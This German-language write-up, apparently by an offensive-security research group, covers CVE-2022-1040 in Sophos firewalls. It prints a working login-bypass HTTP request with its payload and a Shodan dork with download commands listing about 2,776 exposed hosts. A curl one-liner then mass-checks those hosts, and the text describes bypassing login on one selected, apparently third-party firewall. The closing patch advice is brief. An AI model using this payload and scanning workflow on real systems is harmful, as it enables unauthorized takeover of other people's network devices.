
CVE-2022-1040
In der Forschungsgruppe Toasec, die sich mit offensiver Cybersicherheit beschäftigt, haben wir uns die Aufgabe gestellt, diese Schwachstelle in den Sophos-Firewalls zu analysieren.
Diese Schwachstelle kann, wie viele andere auch, gemeldet und gefunden werden, wenn man auf Twitter sucht, wo wir beobachten konnten, dass seit März Artikel über den RCE auftauchen.
Wenn wir uns die Repositories ansehen, die die POC enthalten,
POST /webconsole/Controller HTTP/1.1
Host: 127.0.0.1:4444
Cookie: JSESSIONID=c893loesu9tnlvkq53hy1jiq103
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:103.0) Gecko/20100101 Firefox/103.0
Accept: text/plain, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Origin: https://127.0.0.1:4444
Referer: https://127.0.0.1:4444/webconsole/webpages/login.jsp
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 192
mode=151&json={"username"%3a"admin","password"%3a"somethingnotpassword","languageid"%3a"1","browser"%3a"Chrome_101","accessaction"%3a1,+"mode\u0000ef"%3a716}&__RequestType=ajax&t=1653896534066
Wir können das Payload (mode=151&json=) sehen, das uns den Bypass des Logins ermöglicht, und ebenso den Endpunkt webconsole/webpages/login.jsp.
Jetzt gehen wir dazu über, die Angriffe auf greynose zu analysieren und zu überprüfen, ob diese aktiv ausgenutzt wird.

Sobald wir den Endpunkt identifiziert und einige in den Angriffen verwendete Pfade mit greynoise überprüft haben, können wir unseren Dork in Shodan erstellen: title:"Sophos" html:"UserPortalLogin.js" product:"Sophos Cyberoam (appliance)" - dieser Dork ist derjenige, den wir mit höchster Wahrscheinlichkeit identifiziert haben, aber wir müssen bedenken, dass die verwundbaren Versionen Sophos XG115w Firewall 17.0.10 MR-10 sind.

shodan download --limit -1 sophos.gz title:"Sophos" html:"UserPortalLogin.js" product:"Sophos Cyberoam (appliance)" port:443
Wir überprüfen die Daten
Wir werden die Daten in ein Format parsen, das Automatisierung ermöglicht, und stellen fest, dass es 2776 mögliche Ziele gibt.
shodan parse --fields ip_str,port --separator , sophos.gz > sophos.txt

Jetzt müssen wir die Kommas entfernen und bereinigen, um die Arbeit mit dem Onliner zu erleichtern.
sed 's/,/:/g' sophos.txt > sophos-parseado.txt
Jetzt können wir mit dem Onliner in einem geeigneteren Format arbeiten.
cat sophos-parseado.txt | while read host do; do curl --connect-timeout 10 -ks -H "X-Requested-With: XMLHttpRequest" -X POST "https://$host/userportal/Controller?mode=8700&operation=1&datagrid=179&json=\{"👽":"TEST"\}" | grep -q 'Session Expired' && printf "$host \033[1;41mVulnerable a CVE-2022-1040 (Sophos RCE)\e[0m\n"; done;

Sobald wir unsere Ziele überprüft haben, ist es nur eine Frage der Auswahl eines Ziels und des Tests, indem wir auf das Anmeldefenster zugreifen.

Wir fangen die Login-Anfrage ab und senden sie an den Responder.

Wir modifizieren die Anfrage mit dem Payload und sollten eine Weiterleitung zur Firewall-Verwaltung erhalten.

Wir testen den Zugriff auf den Pfad index.jsp.

Wir haben bestätigt, dass die Schwachstelle im Ziel vorhanden ist; ebenso ist sie in vielen Hosts aktiv. Allerdings konnte mit der Zeit eine weitgehende Abschwächung im Hinblick auf andere Schwachstellen beobachtet werden.
In diesen Fällen ist es das Wichtigste, ein Update durchzuführen und die Sicherheitspatches zu installieren, sobald diese von den Herstellern bereitgestellt werden.